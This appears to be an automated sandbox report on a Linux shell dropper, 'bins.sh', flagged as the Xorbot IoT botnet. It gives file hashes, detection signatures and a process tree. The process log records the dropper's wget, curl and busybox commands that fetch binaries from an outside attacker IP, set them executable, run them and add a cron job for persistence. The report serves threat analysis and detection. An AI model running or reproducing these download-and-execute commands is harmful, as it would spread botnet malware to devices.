Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    30-11-2024 14:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a5d3dc448d642344e13e489694683276

  • SHA1

    beb14c3403aa18f04afe4401a7c5743b7adb936e

  • SHA256

    2683366855076f245c7ce03f71402314abdf64cffa41f23fa8a2639589722e43

  • SHA512

    7ae86b3efed87a06d4fcab9bb88c0d3c54089acea20c3a27f45c654b847d2f3e825002156db957a51c22fa28480c26b08b873e8afe8e1aeadfa6ae7e7e856abf

  • SSDEEP

    192:3+GW2OINZsAcyZhThDxapTfXsMo06HHNSWbn/aSKF5dTfXsM00cHHNSWDdaSKF5u:I2OINZ/hDkpTfXsMo0En/aSKF5dTfXsv

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          ./SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            ./d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Executes dropped EXE
            PID:750
          • /bin/rm
            rm d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
              PID:754
            • /usr/bin/wget
              wget http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Writes file to tmp directory
              PID:755
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:764
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Writes file to tmp directory
              PID:775
            • /bin/chmod
              chmod 777 R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • File and Directory Permissions Modification
              PID:783
            • /tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              ./R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Executes dropped EXE
              PID:785
            • /bin/rm
              rm R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
                PID:788
              • /usr/bin/wget
                wget http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • Writes file to tmp directory
                PID:789
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • Writes file to tmp directory
                PID:801
              • /bin/chmod
                chmod 777 X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • File and Directory Permissions Modification
                PID:802
              • /tmp/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                ./X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                • Executes dropped EXE
                PID:803
              • /bin/rm
                rm X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                2⤵
                  PID:805
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                  2⤵
                  • Writes file to tmp directory
                  PID:806
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:807
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /bin/chmod
                  chmod 777 nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:809
                • /tmp/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                  ./nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                  2⤵
                  • Executes dropped EXE
                  PID:810
                • /bin/rm
                  rm nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7
                  2⤵
                    PID:814
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                    2⤵
                    • Writes file to tmp directory
                    PID:815
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:823
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                    2⤵
                    • Writes file to tmp directory
                    PID:832
                  • /bin/chmod
                    chmod 777 6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                    2⤵
                    • File and Directory Permissions Modification
                    PID:836
                  • /tmp/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                    ./6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:837
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:840
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:841
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:843
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:844
                      • /bin/rm
                        rm 6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH
                        2⤵
                          PID:848
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/PBhVoghMO3lwvkdmZobasLyVGzCLi83ug0
                          2⤵
                            PID:852

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/6yHH6gaJDerqNhWrlZWKOHwjFycl6PM7tH

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/nfhgK2ZojS0KR6R4TOvuzF35R9l2x2PRo7

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.XnC8Yk

                          Filesize

                          210B

                          MD5

                          087541c4bc54279a7fb72572da0caeb1

                          SHA1

                          7ba81ff7de34651195fc8c7b3e479c284ba92a34

                          SHA256

                          038bf0a99639c160785ee1513dc58853bedf2b9f30e278114b8b1f7f898984ce

                          SHA512

                          fe51e3cd1ccd14ef9cc3e865eacbd86cf239ae120ca111977b1799bbfd4086637ef5fb31481f2b4b37dc878272057c07005362bef66fac31a18e5ce9604f86f0